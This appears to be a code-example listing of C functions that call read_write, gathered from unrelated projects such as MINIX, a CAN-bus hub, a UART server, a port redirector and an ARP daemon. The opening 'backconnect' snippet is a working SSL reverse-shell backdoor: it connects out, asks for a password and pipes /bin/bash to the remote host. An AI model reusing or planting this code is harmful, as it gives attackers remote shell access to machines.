void backconnect(struct in_addr addr, u_short port)
{
	int child;
	signal(SIGCHLD, SIG_IGN);
	if((child=fork())==0){
			/*For magic stdin stdout sdterr*/
			//printf("hello");
			
			struct sockaddr_in sockaddr;
			int sock;
			//FILE *fd;
			//char *newline;
			//char buf[1028];

			SSL_CTX *ctx;
			SSL *ssl;

			ctx = InitCTX();
			sockaddr.sin_family = AF_INET;
			sockaddr.sin_addr = addr;
			sockaddr.sin_port = port;
			
			sock = socket(AF_INET, SOCK_STREAM, 0);

			
			if (connect(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == 0) 
		        {
				ssl = SSL_new(ctx);
				SSL_set_fd(ssl,sock);

				sock = SSL_get_fd(ssl);		

				if ( SSL_connect(ssl) == -1 )
					ERR_print_errors_fp(stderr);
				else {
					enterpass(ssl);
					int	writepipe[2] = {-1,-1},					/* parent -> child */
						readpipe [2] = {-1,-1};					/* child -> parent */
					pid_t	childpid;

					/*------------------------------------------------------------------------
					 * CREATE THE PAIR OF PIPES
					 *
					 * Pipes have two ends but just one direction: to get a two-way
					 * conversation you need two pipes. It's an error if we cannot make
					 * them both, and we define these macros for easy reference.
					 */
					writepipe[0] = -1;

					if ( pipe(readpipe) < 0  ||  pipe(writepipe) < 0 )
					{
						/* FATAL: cannot create pipe */
						/* close readpipe[0] & [1] if necessary */
					}

					#define	PARENT_READ	readpipe[0]
					#define	CHILD_WRITE	readpipe[1]
					#define CHILD_READ	writepipe[0]
					#define PARENT_WRITE	writepipe[1]
					signal(SIGCHLD, SIG_IGN);
					if ( (childpid = fork()) < 0)
					{
						/* FATAL: cannot fork child */
					}
					else if ( childpid == 0 )					/* in the child */
					{
						close(PARENT_WRITE);
						close(PARENT_READ);

						//dup2(CHILD_READ,  0);  close(CHILD_READ);
						//dup2(CHILD_WRITE, 1);  close(CHILD_WRITE);
						dup2(CHILD_WRITE,2);//for error
						remap_pipe_stdin_stdout(CHILD_READ,CHILD_WRITE);
												
						/* do child stuff */
						//read_write(ssl,sock);
						execve("/bin/bash", argv, envp);
						//printf("bash close");
						close(childpid);
						_exit(0);
					}
					else				/* in the parent */
					{
						close(CHILD_READ);
						close(CHILD_WRITE);
						
						//dup2(PARENT_READ, 0);
						//dup2(PARENT_WRITE, 1);
						remap_pipe_stdin_stdout(PARENT_READ,PARENT_WRITE);
						/* do parent stuff */
						read_write(ssl,sock);
						
						//wait();

					}							
					close(sock);
					SSL_CTX_free(ctx);
				}
			}
			//return;
			close(child);
			_exit(0);
	}else if(child>0){
#ifdef DEBUG
		printf("---child PID:");
		printf("%d",child);
		printf("\n");
#endif
		return;
	}
	return;
	
}
Example #25
0
/*===========================================================================*
 *				write_buf       			     *
 *===========================================================================*/
PRIVATE void write_buf(char *buf, int size)
{
    m_in.buffer = buf;
    m_in.nbytes = size;
    read_write(WRITING);
}
Example #26
0
/*===========================================================================*
 *				do_read					     *
 *===========================================================================*/
PUBLIC int do_read()
{
    return(read_write(READING));
}
Example #27
0
int main(int argc, char **argv)
{
	int i, rv, max_fd = 0, ret = 0;
	fd_set rfds, rfds_copy;
	CAN_HANDLE can_h = NULL;
    //LIB_HANDLE lib_h = NULL;

	int c;
	extern char *optarg;

	char *can_drv = NULL;
	char *pty_base = "/dev/ptya";

	while ((c = getopt(argc, argv, "-b:s:l:p:h")) != EOF) {
		switch (c) {
		case 'b':
			if (optarg[0] == 0) {
				help();
				exit(1);
			}
			bus_if.busname = optarg;
			break;
		case 's':
			if (optarg[0] == 0) {
				help();
				exit(1);
			}
			bus_if.baudrate = optarg;
			break;
		case 'l':
			if (optarg[0] == 0) {
				help();
				exit(1);
			}
			can_drv = optarg;
			break;
		case 'p':
			if (optarg[0] == 0) {
				help();
				exit(1);
			}
			pty_base = optarg;
			break;
		case 'h':
			help();
			exit(1);
			break;
		default:
			help();
			exit(1);
		}
	}

	FD_ZERO(&rfds);

	hub_ports[MAX_HUB_PORTS].fd = -1;

	if (can_drv) {
		/*lib_h = LoadCanDriver(can_drv);
		if (lib_h == NULL) {
			printf("Unable to load library: %s\n", can_drv);
			exit(1);
		}*/

	        can_h = DLL_CALL(canOpen)(&bus_if);
        	if(!can_h) {
        	        fprintf(stderr,"canOpen : failed\n");
        	        exit(1);
        	}

		hub_ports[MAX_HUB_PORTS].fd = DLL_CALL(canfd)(can_h);

		FD_SET(hub_ports[MAX_HUB_PORTS].fd, &rfds);

		if (hub_ports[MAX_HUB_PORTS].fd > max_fd) {
			max_fd = hub_ports[MAX_HUB_PORTS].fd;
		}

	}

	for (i = 0; i < MAX_HUB_PORTS; i++) {

		hub_ports[i].fd = -1;
		hub_ports[i].name = NULL;

		rv = asprintf(&hub_ports[i].name, "%s%x", pty_base, i);

		if (rv < 0) {
			fprintf(stderr, "asprintf: %s\n", strerror(errno));
			ret = 1;
			break;
		}

		rv = hub_open(&hub_ports[i]);

		if (rv < 0) {
			ret = 1;
			break;
		}

		FD_SET(rv, &rfds);

		if (rv > max_fd) {
			max_fd = rv;
		}
	}

	if (ret) {
		return ret;
	}

	while (!ret) {
		memcpy(&rfds_copy, &rfds, sizeof(rfds));

		rv = select(max_fd + 1, &rfds_copy, NULL, NULL, NULL);

		if (rv < 0) {
			//select error
			fprintf(stderr, "select: %s\n", strerror(errno));
			ret = 1;
			continue;
		}

		//as timeout is NULL, must be a rfds set.
		for (i = 0; i < MAX_HUB_PORTS + 1; i++) {
			if (hub_ports[i].fd >= 0 && 
					FD_ISSET(hub_ports[i].fd, &rfds_copy)) {

				rv = read_write(i, hub_ports, can_h, &rfds, max_fd);

				if (rv < 0 && i < MAX_HUB_PORTS) {

					FD_CLR(hub_ports[i].fd, &rfds);

					hub_close(&hub_ports[i]);
				}						
			}

			if (hub_ports[i].fd < 0 && i < MAX_HUB_PORTS) {
				rv = hub_open(&hub_ports[i]);

				if (rv >= 0) {
					FD_SET(rv, &rfds);

					if (rv > max_fd) {
						max_fd = rv;
					}
				}
			}
		}
	}

	for (i = 0; i < MAX_HUB_PORTS; i++) {
		hub_close(&hub_ports[i]);
	}

	if (hub_ports[MAX_HUB_PORTS].fd >= 0) {
		DLL_CALL(canClose)(&bus_if);
	}

	return ret;
}
Example #28
0
int main(int argc, char *argv[])
{
  int flags;

  /* register at exit handler */
  if (atexit(exit_nice) < 0) {
    fprintf(stderr, "atexit failed\n");
    exit(1);
  }

  /* reg sig handlers */
  (void) signal(SIGHUP, sig_catch);
  (void) signal(SIGINT, sig_catch);
  (void) signal(SIGQUIT, sig_catch);
  (void) signal(SIGTERM, sig_catch);
  (void) signal(SIGPIPE, sig_pipe);
  
  /* init the global structs and arrays */
  init_structs();

  /* Create socket */
  if((accept_sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    perror("Socket open failed");
    exit(1);
  }
  FD_SET(accept_sock, &sock_read);
  FD_SET(accept_sock, &sock_except);

  /* Bind to given port */
  if(bind(accept_sock, (struct sockaddr *) &uart_addr, sizeof(uart_addr)) < 0) {
    perror("Bind failed");
    exit(1);
  }
  listen(accept_sock, 5);
  flags = fcntl (accept_sock, F_GETFL); 
  flags |= O_NONBLOCK; 
  fcntl (accept_sock, F_SETFL, flags); 

  sock_max = accept_sock;

  /* Now the uart_sock is in the listen state, we can monitor it
   * for incomming connections. when a connection is accepted, the new
   * socket is added to the array */

  while (1) {
    int nevents;
    int i;

    nevents = select(sock_max + 1, &sock_read, &sock_write,
		     &sock_except, NULL);
    if (nevents <= 0) {
      perror("select");
      goto FD_READD;
    }
    
    /* see if this is a new connection on accept_sock */
    if (FD_ISSET(accept_sock, &sock_read)) {
      nevents--;
      accept_connect(accept_sock);
    }

    /* see if any other socket is ready for reading */
    while (nevents-- > 0) {
      int sock_index;
      int read_fd, write_fd;
      
      sock_index = get_next_fd(&read_fd, &write_fd);
      if (sock_index < 0) {
	printf ("Error for event %d\n", nevents + 1);
	goto FD_READD;
      }

      if (read_write(read_fd, write_fd) < 0) {
	/* close connection */
	del_sockindex(sock_index);
	goto FD_READD;
      }
    }

    /* add fds to fd set */
  FD_READD: {
      int count = 0;
      int *uart = sock_pair.uart;
      int *client = sock_pair.client;
	
      FD_ZERO(&sock_read);
      FD_SET(accept_sock, &sock_read);
      sock_max = accept_sock;
      for (i=0; i <MAX_CONN && count <= sock_pair.len; i++) {
	if (uart[i] != -1 && client[i] != -1) {
	  FD_SET(uart[i], &sock_read);
	  FD_SET(client[i], &sock_read);
	  
	  /* set the max sock count */
	  if (uart[i] > client[i] && uart[i] > sock_max) sock_max = uart[i];
	  else if (client[i] > uart[i] && client[i] > sock_max) sock_max = client[i];
	  count++;
	}
      }
      //printf ("Added total of %d FDs\n", 2*count+1);

    }
  }
}
Example #29
0
int
ipipe_main( int argc, char ** argv )
{
    int fd, ch;
    char *  input_file = NULL;
    char * output_file = NULL;

    extern int optind;
    extern char * optarg;

    srandom(getpid() * time(NULL));

    signal( SIGTTIN, SIG_IGN );
    options = 0;

    while (( ch = getopt( argc, argv, "qfsndvepl:i:o:" )) != -1 )
    {
        switch ( ch )
        {
        case 'f': SET(OPT_FLOOD);   break;
        case 's': SET(OPT_STAT);    break;
        case 'v': SET(OPT_VERBOSE); break;
        case 'e': SET(OPT_ECHO);    break;
        case 'q': SET(OPT_RAWQ);    break;
        case 'n': SET(OPT_NOSTDIN); break;
        case 'd': SET(OPT_DELNULS); break;
        case 'p': SET(OPT_PINGACK); break;
        case 'i':   input_file = optarg;  break;
        case 'o':  output_file = optarg;  break;
        default:  usage();
        }
    }

    argc -= optind;
    argv += optind;

    switch ( argc ) {
    case 1:
        fd = do_connect( NULL, atoi( argv[0] ));
        break;

    case 3:
        /* redirect port to a pty; same as case 2, except
           that local file descriptors 0 and 1 are redefined. */
        fd = open( argv[2], O_RDWR );
        if ( fd < 0 )
        {
            fprintf( stderr, "error %d opening pty\n", errno );
            return -1;
        }
        dup2( fd, 0 );
        dup2( fd, 1 );
        setrawmode( fd );
        /* fall through */

    case 2:
        if ( ISSET(OPT_RAWQ) )
        {
            setrawmode( 0 );
        }
        fd = do_connect( argv[0], atoi( argv[1] ));
        break;

    default:
        usage();
    }

#ifndef O_BINARY
#define O_BINARY 0
#endif

    if ( input_file )
    {
        int fd2 = open( input_file, O_RDONLY | O_BINARY );
        if ( fd2 < 0 )
        {
            fprintf( stderr, "error %d opening input file\n", errno );
            return -1;
        }
        dup2( fd2, 0 );
        close( fd2 );
    }

    if ( output_file )
    {
        int fd2 = open( output_file, O_WRONLY | O_CREAT | O_BINARY, 0600 );
        if ( fd2 < 0 )
        {
            fprintf( stderr, "error %d opening output file\n", errno );
            return -1;
        }
        dup2( fd2, 1 );
        close( fd2 );
    }

    read_write( fd );

    return 0;
}
Example #30
0
int main(int argc, char **argv)
{
    int arp_sock;
    int bios_sock, ns_sock;
    int max_sock;
    char *runfile = NULL, namebuff[32]= {0};
    struct timeval timeout= {30,0};
    struct timeval timeuse= {0,0};

    fd_set readset;
    struct sigaction sa;
    struct sockaddr me;

    arp_sock = open_arp_socket(&me);
    printf("arp_sock %d\n", arp_sock);
    bios_sock = open_bios_socket();
    printf("bios sock %d\n", bios_sock);
    ns_sock = open_ns_socket();
    printf("ns sock %d\n", ns_sock);

    if (arp_sock < 0 ||bios_sock < 0 || ns_sock < 0)
        exit(1);

    //unlink(ARP_FILE);

    printf("The attached devices demo is Running ...\n");
    daemon(1, 1);

    runfile = PID_FILE;
    if(runfile)
    {
        int fd, err = 0;
        sprintf(namebuff, "%d\n", (int) getpid());
        unlink(runfile);

        if((fd = open(runfile, O_WRONLY|O_CREAT|O_TRUNC|O_EXCL, S_IWUSR|S_IRUSR|S_IRGRP|S_IROTH)) == -1)
        {
            /* only complain if started as root */
            if (getuid() == 0)
                err = 1;
        }
        else
        {
            if(!read_write(fd, (unsigned char *)namebuff, strlen(namebuff), 0))
                err = 1;
            while (!err && close(fd) == -1)
                if (!retry_send())
                    err = 1;
        }

        if (err)
        {
            _exit(0);
        }
    }

    reset_arp_table();
    do_signal(arp_sock, &me, 0);

    memset(&sa, 0, sizeof(sa));
    sa.sa_flags = SA_RESTART;
    sa.sa_handler = signal_pending;
    sigaction(SIGUSR1, &sa, NULL);
    sigaction(SIGALRM, &sa, NULL);

    if (bios_sock > arp_sock)
        max_sock = bios_sock + 1;
    else
        max_sock = arp_sock + 1;
    if(ns_sock + 1 > max_sock)
        max_sock = ns_sock + 1;

    while (1) {
        int ret;
        int alen = 0;
        int blen = 0;
        timeout.tv_sec = 30;
        timeout.tv_usec = 0;

        struct in_addr send_ip;
        struct sockaddr arp_from;
        struct sockaddr_in bios_from;

        socklen_t arp_len = sizeof(arp_from);
        socklen_t bios_len = sizeof(bios_from);

        struct arpmsg	arp_packet;
        char bios_packet[1024];
//
        struct iovec iov = {&arp_packet, sizeof(struct arpmsg)};
        struct sockaddr_pkt from;
        struct msghdr msg = {
            .msg_name = (void *) &from,
            .msg_namelen = sizeof(from),
            .msg_iov = &iov,
            .msg_iovlen = 1,
            .msg_control = NULL,
            .msg_controllen = 0,
            .msg_flags = 0
        };

        FD_ZERO(&readset);
        FD_SET(arp_sock, &readset);
        FD_SET(bios_sock, &readset);
        FD_SET(ns_sock, &readset);

        ret = select(max_sock, &readset, 0, 0, &timeout);
        timeuse.tv_sec += 30 - timeout.tv_sec;
        if(timeuse.tv_sec >= 140) {
            do_signal(arp_sock, &me, 0);
            timeuse.tv_sec = 0;
            timeuse.tv_usec = 0;
        }

        if (ret <= 0) {
            if (ret == -1 && errno == EINTR) {
                do_signal(arp_sock, &me, ret);
            }
            continue;
        }

        if (FD_ISSET(arp_sock, &readset)) {
            alen = recvmsg(arp_sock, &msg, MSG_DONTWAIT);
        }
        if (FD_ISSET(bios_sock, &readset))
            blen = recvfrom(bios_sock, bios_packet, sizeof(bios_packet), 0,
                            (struct sockaddr *) &bios_from, &bios_len);
        if(FD_ISSET(ns_sock, &readset))
            recv_ns_pack(ns_sock);
        /* min arp packet length: 14 ethernet + 28 arp header = 42 */
        if (alen >= 42 && recv_arp_pack(&arp_packet, &send_ip,from.spkt_device))
            send_bios_query(bios_sock, send_ip);
        if (blen > 0)
            recv_bios_pack(bios_packet, blen, bios_from.sin_addr);

        do_signal(arp_sock, &me, ret);
    }

    if (runfile)
        unlink(runfile);
    return 0;
}